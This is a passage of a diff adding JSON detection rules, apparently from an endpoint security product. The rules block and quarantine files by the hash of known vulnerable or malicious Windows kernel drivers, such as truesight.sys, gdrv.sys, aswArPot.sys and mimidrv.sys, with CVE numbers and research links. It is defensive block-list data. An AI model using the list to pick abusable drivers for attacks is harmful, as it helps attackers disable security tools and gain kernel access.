+  "creation_date": "2026-03-23T11:45:30.836049Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54b5c0860d299f087df2aef68ba94dedafda743d320cdb34983a74b7abc6b51e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22573e41-4e25-55ae-b043-c90575b87d14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160988Z",
+  "creation_date": "2026-03-23T11:45:31.160990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d46ac2d32333f11249ab2cb55903a1736d2fe5ed4206b49fb4d6ed151bd5f5d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "225adcae-7df7-5eb6-a770-a8fdc8300a1b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487825Z",
+  "creation_date": "2026-03-23T11:45:31.487827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a72552491b4974eefcd717068c211312b14ad187161853bdaff458f734fa9e33",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "225f0cc6-67f0-5fd6-ae9e-7ce48f384bfe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607036Z",
+  "creation_date": "2026-03-23T11:45:29.607038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607043Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2e351efd57c89bc0c7b9d4d440113304d0b8a4c88cdf0126442171aa50634d4",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2265c449-bd48-50f8-a481-44f42e5720a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814839Z",
+  "creation_date": "2026-03-23T11:45:31.814843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814852Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d01473998e75d5f07507fad0eef36a95847b2f181fa951545f9f894f39eebdb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2265d2c9-8233-5a1f-8958-db62bd70f760",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471498Z",
+  "creation_date": "2026-03-23T11:45:30.471502Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "707b4b5f5c4585156d8a4d8c39cf26729f5ad05d7f77b17f48e670e808e3e6a0",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "226b4eda-bb45-5dc4-b886-1cadd2cf34d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500602Z",
+  "creation_date": "2026-03-23T11:45:31.500605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e79d273fc5bf32ba7bd526428b19322805eaebfbf7ecfde8fa51511085cc9be",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22762581-1ab3-5674-a9a6-2fc29c1a6ff7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.623045Z",
+  "creation_date": "2026-03-23T11:45:29.623047Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.623052Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9996b31234ba736fc2c6f2b75f641e25d156f19d6ac84cf85283fde08a714842",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22767396-370b-5c7d-9ef8-8cc6e8a3c900",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463670Z",
+  "creation_date": "2026-03-23T11:45:30.463674Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463682Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07beac65e28ee124f1da354293a3d6ad7250ed1ce29b8342acfd22252548a5af",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "227d63ea-036c-5b18-8aa9-905e79b2157e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622071Z",
+  "creation_date": "2026-03-23T11:45:29.622073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622078Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19c74ea0e0baf04820e5642bd2fa224158801ed966be1041539e3c55bd65c471",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2290678e-0c9f-5db1-ab39-7e4bb04f5bff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974195Z",
+  "creation_date": "2026-03-23T11:45:29.974197Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974202Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "683f0af364f8a19f81d2e095e17de6d403ba3672bdf4a1caf601bca5b57454df",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22a41698-78c8-5c2f-9779-2564483cbf96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614317Z",
+  "creation_date": "2026-03-23T11:45:29.614318Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614324Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f2fda9a7a9c57b7138687bbce49a2e156d6095dddabb3454ea09737e02c3fa5",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22aad86c-63f6-53f2-b100-8806f8a5c54a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821844Z",
+  "creation_date": "2026-03-23T11:45:30.821848Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aac9c11490da2ad5316469aa91943b42d019b51ff6f1d9d9767260abd075bb8f",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22ab7e4e-5009-5309-b8d1-16878da04f4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606847Z",
+  "creation_date": "2026-03-23T11:45:29.606849Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606855Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e38148ad4ed9946e8600b37f63996bf17c0101e3f50123b3b8513c895a4b521",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22ac0514-acd4-55fc-91c4-347208a3ffdf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969924Z",
+  "creation_date": "2026-03-23T11:45:29.969926Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969931Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2537f2ad83f5efc841ed75081d5dfffeb04eea92abfb9844adc091ff2a671b56",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22cf99e1-2be5-5e4f-973e-9aa98085ad09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830535Z",
+  "creation_date": "2026-03-23T11:45:31.830537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830542Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e100aa891445f18f4805dced7c4055aa5bee6c65995daa42a438349ccad6c3c",
+  "comment": "Vulnerable Rentdrv2 Driver (aka rentdrv2_x32.sys and rentdrv_x64.sys) [https://github.com/keowu/BadRentdrv2, https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22e0a162-a400-5bc5-9624-da03f676d009",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471685Z",
+  "creation_date": "2026-03-23T11:45:31.471688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471698Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e891e1acc02731e93da39f46bf24cbae1a30f1bcf4764ad7cf3b9eecdfc10c1f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22e1d574-d320-5ffb-86c5-7ef7063f7ecc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143411Z",
+  "creation_date": "2026-03-23T11:45:32.143413Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143419Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b49b7bcf44242dac00ca559dca217ec5d935b78c963f23bd0f49f53a610dd569",
+  "comment": "Vulnerable Kernel Driver (aka PDFWKRNL.sys) [https://www.loldrivers.io/drivers/fded7e63-0470-40fe-97ed-aa83fd027bad/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22e23e38-782f-5fb1-8d38-e45909c292ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982642Z",
+  "creation_date": "2026-03-23T11:45:29.982644Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982650Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9dad0131c51e2645e761b74a71ebad2bf175645fa9f42a4ab0e6921b83306e3",
+  "comment": "Malicious Kernel Driver (aka wantd_5.sys) [https://www.loldrivers.io/drivers/3277cecc-f4b4-4a00-be01-9da83e013bcd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22e473ce-86c1-5bfe-8024-32d659f2dba2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609447Z",
+  "creation_date": "2026-03-23T11:45:29.609449Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1bd6a40e294f4f74f9baf172f5a3e21dad3b7e31b5757d91bda309bd54a72fbe",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22e4c173-9e10-577c-99d7-25de69970f76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819106Z",
+  "creation_date": "2026-03-23T11:45:30.819108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819113Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "058afe9e93dcc52e64fc0942b80a159b8617608c15462a7a17984de3cc0b8d04",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22eac28d-8c9c-5022-8da7-52da7eca3403",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829429Z",
+  "creation_date": "2026-03-23T11:45:30.829431Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829437Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47aadda1c6ccb26783e1bdd85623c62fe96a176bdfc57dfa48be41d23bfa9fbc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "22f69a9a-b3d0-5ab5-9c60-b469b8eb714f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833037Z",
+  "creation_date": "2026-03-23T11:45:30.833041Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60c22d313b7a2205957bd713870b8c92c63aef6ca68f408d8a6b4986defe5288",
